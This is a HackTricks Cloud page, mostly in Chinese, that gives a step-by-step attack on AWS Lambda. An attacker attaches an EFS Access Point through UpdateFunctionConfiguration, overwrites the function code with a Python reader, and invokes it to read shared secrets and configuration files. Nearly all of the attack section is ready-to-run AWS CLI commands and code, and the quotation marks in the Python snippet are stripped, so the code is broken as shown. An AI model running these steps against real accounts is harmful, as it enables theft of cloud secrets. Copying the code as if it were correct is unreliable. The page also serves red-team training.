AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
滥用 lambda:UpdateFunctionConfiguration 将现有的 EFS Access Point 附加到 Lambda,然后部署简单代码,列出/读取挂载路径中的文件,以外传函数之前无法访问的共享密钥/配置。
要求
- 受害者账户/主体需要的权限:
lambda:GetFunctionConfigurationlambda:ListFunctions(用于查找函数)lambda:UpdateFunctionConfigurationlambda:UpdateFunctionCodelambda:InvokeFunctionefs:DescribeMountTargets(用于确认挂载目标存在)- 环境假设:
- 目标 Lambda 已启用 VPC,且其子网/SGs 可以通过 TCP/2049 访问 EFS 挂载目标的安全组(例如角色有 AWSLambdaVPCAccessExecutionRole 且 VPC 路由允许)。
- EFS Access Point 位于相同的 VPC,并且在 Lambda 子网的 AZs 中有挂载目标。
攻击
- 变量
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
- 将 EFS Access Point 附加到 Lambda
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- 覆盖代码为一个简单的 reader,用它列出文件并读取候选 secret/config file 的前 200 bytes
cat > reader.py <<PY
import os, json
BASE=/mnt/ht
def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- 调用并获取数据
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
输出应包含 /mnt/ht 下的目录列表,以及来自 EFS 中所选 secret/config 文件的小预览。
影响
具有列出权限的攻击者可以将任意 in-VPC EFS Access Points 挂载到受害者的 Lambda 函数中,从而 read and exfiltrate 原本该函数无法访问的、存储在 EFS 上的共享配置和 secrets。
清理
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

